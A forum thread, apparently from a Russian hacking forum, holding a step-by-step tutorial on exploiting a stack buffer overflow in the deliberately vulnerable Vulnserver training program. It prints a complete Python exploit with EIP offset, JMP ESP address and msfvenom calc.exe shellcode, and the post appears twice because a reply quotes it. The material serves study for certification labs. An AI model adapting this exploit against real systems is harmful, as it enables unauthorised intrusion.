• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксплойтинг для пентестеров - \OSCP\OSCE (Exploit-Dev)

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
Привет дамага!!! Сегодня в период пандемии мы живем в не простое время. Сидя дома на самоизоляции порой можно сойти сума... А можно провести время с пользой. И занять себя чем-то полезным. Меня довольно таки часто спрашивают как начать ? Ответ просто с практики. Можно начать с тренировочных программ и с примеров по типу Gera Secure Programming. Или же можно начать участвовать в CTF и решать различные таски из категории PWN. Но, если не хочется участвовать в цтфах и пывнить тренировочные программы. Можно начать с более абстрактных вещей. С программ под Windows.

На github есть замечательный репазиторий со список уязвимых программ, которые нужно отпывнить. Совокупность отпывненных программ помогают подготовиться к OSCP\OSCE. А именно получить тот бекграунд который нужен для Exploit-Development'а. Кстати говоря, некоторые завалили экзамен, по той причине, что не смогли разобраться в данной теме. Я думаю, что ты %username% не из таких. Ведь правда? И ты готов дать бой.

Вот сам репазиторий, который поможет в подготовке для OSCP\OSCE

Пользоваться им достаточно просто. К примеру берем из списка Vulnserver TRUN vanilla EIP overflow и начинаем пывнить.

Вот сам процесс как это все происходит... Примерно так...

P.s. Делал всё на коленке поэтому - зиродеев тут нет (с)

Подготовка
Скачиваем уязвимую программу https://github.com/stephenbradshaw/vulnserver
Ставим отладчик https://www.immunityinc.com/products/debugger/
Качаем плагин для отладчика https://github.com/corelan/mona
Копируем плагин в папку PyCommands
прим. Тестирование проводилось на Windows 10
Открываем vulnserver под отладчиком и запускаем
Далее пишем в строке команд отладчика !mona для вывода всех команд
Настраиваем рабочую папку для плагина
!mona config -set workingfolder c:\logs\%p


План действий у нас будет такой
  1. Перезапись EIP
  2. offset EIP
  3. jmp ESP (ret2reg)
  4. NOPs-sleds
  5. Shellcode
Перезапись EIP

Пишем в строке команду !mona pc 2500

1589297634633.png


Дальше переходим в рабочую папку C:\logs и смотрим содержимое файла pattern.txt в нем содержится патерн, который мы только что создали.

1589297664186.png

Будем использовать строку в формате ASCII. Теперь напишем основу нашего эксплойта.

Python:
#!/usr/bin/env python

import socket

# vuln command
buf = "TRUN ."

# overwrite eip
buf += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket

Запускаем программу на выполнение в отладчике и запускаем наш эксплойт и смотрим в окно регистров, хватило ли длины созданного с вами нам паттерна для перезаписи регистра EIP.

1589297718584.png


Выполнение программы остановилось. А значит нашей строки — созданного паттерна его длины хватило. Мы уже контролируем EIP. И перезаписали его.

Offset EIP

Теперь когда мы перезаписали EIP. Нам надо вычислить смещение до EIP. Копируем текущее значение из EIP — 396F4338. И пишем в строке команд !mona po 396F4338 для того чтобы вычислить смещение…

1589297773322.png

Смещение до EIP = 2006, а следующие 4 байта перезапишут его. Проверяем. Модифицируем наш эксплойт.

Python:
#!/usr/bin/env python

import socket

# vuln command
buf = "TRUN ."

# offset eip
buf += "A"*2006
#EIP
buf += "BBBB"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket

Затем нажимаем в отладчике ctrl+f2(перезапуск программы под отладчиком) и потом f9(запуск программы в отладчике) после чего запускаем наш эксплойт.

1589297789497.png

Как видно нам это удалось. Переходим к следующему шагу.

JMP ESP (ret2reg)

Поскольку использование хардкод адресов, является плохим тоном, мы будем использовать более гибкий метод — ret2reg. Это некая попытка уйти от статических адресов (хардкод адресов). Пишем в строке команд отладчика !mona jmp -r ESP чтобы найти адрес нужной нам инструкции

1589297825001.png

Кликаем и переходим… Адрес нужной инструкции мы нашли

1589297949668.png

Код:
0x625011AF FFE4 JMP ESP

Этот адрес мы добавим в наш эксплойт
Python:
jmp_esp = "\xAF\x11\x50\x62"

Теперь перейдем к двум последним пунктам. Nops-sleds и shellcode

Nop-Sleds

Код:
buf += ‘\x90’*50

Shellcode
Ну а сам шеллкод мы сгенерирум в метасплойте…

Код:
msfvenom -p windows/exec CMD='calc.exe' exitfunc=thread -a x86 -f python -b '\x00'

Собираем все вместе…

Python:
#!/usr/bin/env python

import socket

# vuln command
buf = "TRUN ."

# offset eip
buf += "A"*2006
# EIP = address jump ESP (ret2reg)
buf += "\xAF\x11\x50\x62"
# NOP-Sleds
buf += '\x90'*50
# shellcode calc
buf += "\xdb\xd2\xb8\xf4\x29\xc9\x4f\xd9\x74\x24\xf4\x5a\x31"
buf += "\xc9\xb1\x31\x31\x42\x18\x83\xc2\x04\x03\x42\xe0\xcb"
buf += "\x3c\xb3\xe0\x8e\xbf\x4c\xf0\xee\x36\xa9\xc1\x2e\x2c"
buf += "\xb9\x71\x9f\x26\xef\x7d\x54\x6a\x04\xf6\x18\xa3\x2b"
buf += "\xbf\x97\x95\x02\x40\x8b\xe6\x05\xc2\xd6\x3a\xe6\xfb"
buf += "\x18\x4f\xe7\x3c\x44\xa2\xb5\x95\x02\x11\x2a\x92\x5f"
buf += "\xaa\xc1\xe8\x4e\xaa\x36\xb8\x71\x9b\xe8\xb3\x2b\x3b"
buf += "\x0a\x10\x40\x72\x14\x75\x6d\xcc\xaf\x4d\x19\xcf\x79"
buf += "\x9c\xe2\x7c\x44\x11\x11\x7c\x80\x95\xca\x0b\xf8\xe6"
buf += "\x77\x0c\x3f\x95\xa3\x99\xa4\x3d\x27\x39\x01\xbc\xe4"
buf += "\xdc\xc2\xb2\x41\xaa\x8d\xd6\x54\x7f\xa6\xe2\xdd\x7e"
buf += "\x69\x63\xa5\xa4\xad\x28\x7d\xc4\xf4\x94\xd0\xf9\xe7"
buf += "\x77\x8c\x5f\x63\x95\xd9\xed\x2e\xf3\x1c\x63\x55\xb1"
buf += "\x1f\x7b\x56\xe5\x77\x4a\xdd\x6a\x0f\x53\x34\xcf\xef"
buf += "\xb1\x9d\x25\x98\x6f\x74\x84\xc5\x8f\xa2\xca\xf3\x13"
buf += "\x47\xb2\x07\x0b\x22\xb7\x4c\x8b\xde\xc5\xdd\x7e\xe1"
buf += "\x7a\xdd\xaa\x82\x1d\x4d\x36\x6b\xb8\xf5\xdd\x73"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket

Запускаем эксплойт

1589297969670.png

Запывнили? Хорошо... Теперь FreeFloat FTP Server vanilla EIP overflow
Вот в таком духе набиваем руку пока глаз не начнет дергаться до полного понимая. Надеюсь вам поможет эта мини статья в получении заветного OSCP\OSCP. А возможно именно ты %username% даже сможешь сдать AWE (OSEE).

p.p.s. Так же буду рад вашим врайтапам любого софта)

Специально для xss.pro (c)
 
Последнее редактирование:
Привет дамага!!! Сегодня в период пандемии мы живем в не простое время. Сидя дома на самоизоляции порой можно сойти сума... А можно провести время с пользой. И занять себя чем-то полезным. Меня довольно таки часто спрашивают как начать ? Ответ просто с практики. Можно начать с тренировочных программ и с примеров по типу Gera Secure Programming. Или же можно начать участвовать в CTF и решать различные таски из категории PWN. Но, если не хочется участвовать в цтфах и пывнить тренировочные программы. Можно начать с более абстрактных вещей. С программ под Windows.

На github есть замечательный репазиторий со список уязвимых программ, которые нужно отпывнить. Совокупность отпывненных программ помогают подготовиться к OSCP\OSCE. А именно получить тот бекграунд который нужен для Exploit-Development'а. Кстати говоря, некоторые завалили экзамен, по той причине, что не смогли разобраться в данной теме. Я думаю, что ты %username% не из таких. Ведь правда? И ты готов дать бой.

Вот сам репазиторий, который поможет в подготовке для OSCP\OSCE

Пользоваться им достаточно просто. К примеру берем из списка Vulnserver TRUN vanilla EIP overflow и начинаем пывнить.

Вот сам процесс как это все происходит... Примерно так...

P.s. Делал всё на коленке поэтому - зиродеев тут нет (с)

Подготовка
Скачиваем уязвимую программу https://github.com/stephenbradshaw/vulnserver
Ставим отладчик https://www.immunityinc.com/products/debugger/
Качаем плагин для отладчика https://github.com/corelan/mona
Копируем плагин в папку PyCommands
прим. Тестирование проводилось на Windows 10
Открываем vulnserver под отладчиком и запускаем
Далее пишем в строке команд отладчика !mona для вывода всех команд
Настраиваем рабочую папку для плагина
!mona config -set workingfolder c:\logs\%p


План действий у нас будет такой
  1. Перезапись EIP
  2. offset EIP
  3. jmp ESP (ret2reg)
  4. NOPs-sleds
  5. Shellcode
Перезапись EIP

Пишем в строке команду !mona pc 2500

Посмотреть вложение 9872

Дальше переходим в рабочую папку C:\logs и смотрим содержимое файла pattern.txt в нем содержится патерн, который мы только что создали.

Посмотреть вложение 9873
Будем использовать строку в формате ASCII. Теперь напишем основу нашего эксплойта.

Python:
#!/usr/bin/env python

import socket

# vuln command
buf = "TRUN ."

# overwrite eip
buf += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket

Запускаем программу на выполнение в отладчике и запускаем наш эксплойт и смотрим в окно регистров, хватило ли длины созданного с вами нам паттерна для перезаписи регистра EIP.

Посмотреть вложение 9874

Выполнение программы остановилось. А значит нашей строки — созданного паттерна его длины хватило. Мы уже контролируем EIP. И перезаписали его.

Offset EIP

Теперь когда мы перезаписали EIP. Нам надо вычислить смещение до EIP. Копируем текущее значение из EIP — 396F4338. И пишем в строке команд !mona po 396F4338 для того чтобы вычислить смещение…

Посмотреть вложение 9875
Смещение до EIP = 2006, а следующие 4 байта перезапишут его. Проверяем. Модифицируем наш эксплойт.

Python:
#!/usr/bin/env python

import socket

# vuln command
buf = "TRUN ."

# offset eip
buf += "A"*2006
#EIP
buf += "BBBB"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket

Затем нажимаем в отладчике ctrl+f2(перезапуск программы под отладчиком) и потом f9(запуск программы в отладчике) после чего запускаем наш эксплойт.

Посмотреть вложение 9876
Как видно нам это удалось. Переходим к следующему шагу.

JMP ESP (ret2reg)

Поскольку использование хардкод адресов, является плохим тоном, мы будем использовать более гибкий метод — ret2reg. Это некая попытка уйти от статических адресов (хардкод адресов). Пишем в строке команд отладчика !mona jmp -r ESP чтобы найти адрес нужной нам инструкции

Посмотреть вложение 9877
Кликаем и переходим… Адрес нужной инструкции мы нашли

Посмотреть вложение 9878
Код:
0x625011AF FFE4 JMP ESP

Этот адрес мы добавим в наш эксплойт
Python:
jmp_esp = "\xAF\x11\x50\x62"

Теперь перейдем к двум последним пунктам. Nops-sleds и shellcode

Nop-Sleds

Код:
buf += ‘\x90’*50

Shellcode
Ну а сам шеллкод мы сгенерирум в метасплойте…

Код:
msfvenom -p windows/exec CMD='calc.exe' exitfunc=thread -a x86 -f python -b '\x00'

Собираем все вместе…

Python:
#!/usr/bin/env python

import socket

# vuln command
buf = "TRUN ."

# offset eip
buf += "A"*2006
# EIP = address jump ESP (ret2reg)
buf += "\xAF\x11\x50\x62"
# NOP-Sleds
buf += '\x90'*50
# shellcode calc
buf += "\xdb\xd2\xb8\xf4\x29\xc9\x4f\xd9\x74\x24\xf4\x5a\x31"
buf += "\xc9\xb1\x31\x31\x42\x18\x83\xc2\x04\x03\x42\xe0\xcb"
buf += "\x3c\xb3\xe0\x8e\xbf\x4c\xf0\xee\x36\xa9\xc1\x2e\x2c"
buf += "\xb9\x71\x9f\x26\xef\x7d\x54\x6a\x04\xf6\x18\xa3\x2b"
buf += "\xbf\x97\x95\x02\x40\x8b\xe6\x05\xc2\xd6\x3a\xe6\xfb"
buf += "\x18\x4f\xe7\x3c\x44\xa2\xb5\x95\x02\x11\x2a\x92\x5f"
buf += "\xaa\xc1\xe8\x4e\xaa\x36\xb8\x71\x9b\xe8\xb3\x2b\x3b"
buf += "\x0a\x10\x40\x72\x14\x75\x6d\xcc\xaf\x4d\x19\xcf\x79"
buf += "\x9c\xe2\x7c\x44\x11\x11\x7c\x80\x95\xca\x0b\xf8\xe6"
buf += "\x77\x0c\x3f\x95\xa3\x99\xa4\x3d\x27\x39\x01\xbc\xe4"
buf += "\xdc\xc2\xb2\x41\xaa\x8d\xd6\x54\x7f\xa6\xe2\xdd\x7e"
buf += "\x69\x63\xa5\xa4\xad\x28\x7d\xc4\xf4\x94\xd0\xf9\xe7"
buf += "\x77\x8c\x5f\x63\x95\xd9\xed\x2e\xf3\x1c\x63\x55\xb1"
buf += "\x1f\x7b\x56\xe5\x77\x4a\xdd\x6a\x0f\x53\x34\xcf\xef"
buf += "\xb1\x9d\x25\x98\x6f\x74\x84\xc5\x8f\xa2\xca\xf3\x13"
buf += "\x47\xb2\x07\x0b\x22\xb7\x4c\x8b\xde\xc5\xdd\x7e\xe1"
buf += "\x7a\xdd\xaa\x82\x1d\x4d\x36\x6b\xb8\xf5\xdd\x73"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket

Запускаем эксплойт

Посмотреть вложение 9879
Запывнили? Хорошо... Теперь FreeFloat FTP Server vanilla EIP overflow
Вот в таком духе набиваем руку пока глаз не начнет дергаться до полного понимая. Надеюсь вам поможет эта мини статья в получении заветного OSCP\OSCP. А возможно именно ты %username% даже сможешь сдать AWE (OSEE).

p.p.s. Так же буду рад вашим врайтапам любого софта)

Специально для xss.pro (c)
Скажите пожалуйста, а в PE окружении есть же митигейшены всякие? Как там обходятся рандомизации? Хотелось бы пару слов в Вашем исполнении
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Скажите пожалуйста, а в PE окружении есть же митигейшены всякие? Как там обходятся рандомизации? Хотелось бы пару слов в Вашем исполнении
1)Нету, есть всякие групповые политики и права доступа, а так вот основное это DEP, ASLR, CFG https://docs.microsoft.com/en-us/wi...oft-defender-atp/customize-exploit-protection
2)Через различные уязвимости, нужен инфо лик.
Вот достаточно интересные слайды на эту тему https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf
так же можно посмотреть различные врайтапы https://xss.pro/threads/29717/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх